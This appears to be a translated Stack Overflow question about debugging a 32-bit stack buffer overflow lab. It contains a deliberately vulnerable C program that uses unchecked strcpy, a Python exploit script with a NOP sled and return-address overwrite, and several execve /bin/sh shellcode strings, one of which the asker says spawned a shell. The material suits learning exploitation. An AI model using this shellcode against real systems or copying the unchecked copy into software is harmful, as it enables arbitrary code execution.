【发布时间】:2017-06-29 13:38:13
【问题描述】:
我正在执行一个 32 位程序(我的拱门是 64 位)。
漏洞代码:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copier(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}
漏洞利用:
#!/usr/bin/python3
ret = b"\xb0\xcd\xff\xff"
shellcode = (b"\xeb\x1d\x5e\x8d\x46\x05\x31\xdb\x88\x5e\x09\x89\x70\x05\x89\x5e\x0e\x8d"
b"\x1e\x8d\x48\x05\x8d\x50\x09\x31\xc0\xb0\x0b\xcd\x80\xe8\xde\xff\xff\xff"
b"\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
payload = b"\x90"*40+ shellcode + b"A"*(112 - 40 - len(shellcode)) + ret
open("bo1.payload", "wb").write(payload)
但是在利用时,它不会。
在调试器外部执行时,会出现 SegmentFault 错误。
Before int 0x80
Just after int 0x80
Q1 我认为这是因为 execve 替换了之前的代码。是吗?
所以我按'q'和命令'dc'继续。
[0xf7dd7c30]> dc
Selecting and continuing: 16145
child stopped with signal 17
[+] SIGNAL 17 errno=0 addr=0x3e80000546d code=1 ret=0
got signal...
[+] signal 17 aka SIGCHLD received 0
[3]+ Arrêté r2 -d ./bo1 $(cat bo1.payload)
Q2为什么在 int 0x80 之后'child stop with signal 17'并且没有 shell 提示?
编辑:
ASLR sysctl -w kernel.randomize_va_space=0
使用 'gcc -g -fno-stack-protector -z execstack -m32 -o bo1 bo1.c' 编译
编辑2:
显然问题出在shellcode中。
我尝试了所有这些,只有最后一个有效并提示了shell。
shellcode = (b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
b"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
b"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")
shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
shellcode = (b"\x31\xc0\xb0\x01\x31\xdb\xcd\x80")
shellcode = (b"\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\x8d\x1e\x8d\x4e"
b"\x0a\x8d\x56\x0e\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f"
b"\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
shellcode = (b"\xeb\x1d\x5e\x8d\x46\x05\x31\xdb\x88\x5e\x09\x89\x70\x05\x89\x5e\x0e\x8d"
b"\x1e\x8d\x48\x05\x8d\x50\x09\x31\xc0\xb0\x0b\xcd\x80\xe8\xde\xff\xff\xff"
b"\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")
shellcode = (b"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2"
b"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
b"\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80")
【问题讨论】:
-
可能您尝试的任何系统调用都失败了,您的代码无法处理。这不是minimal reproducible example,很难从这么多信息中说出更多信息。
-
您使用的是什么操作系统?操作系统的反漏洞缓解技术可能也阻止了它。例如安全cookie等
-
@Asesh:我在 GNU/Linux 4.11 上。
randomize_va_space=0。
用 'gcc -g -fno-stack-protector -z execstack -m32 -o bo1 编译bo1.c' -
我以为是describe问题[stackoverflow.com/questions/2859127/…,然后我尝试了Aralox shellcode但没有效果,信号17
-
考虑禁用 ASLR。
标签: assembly buffer-overflow shellcode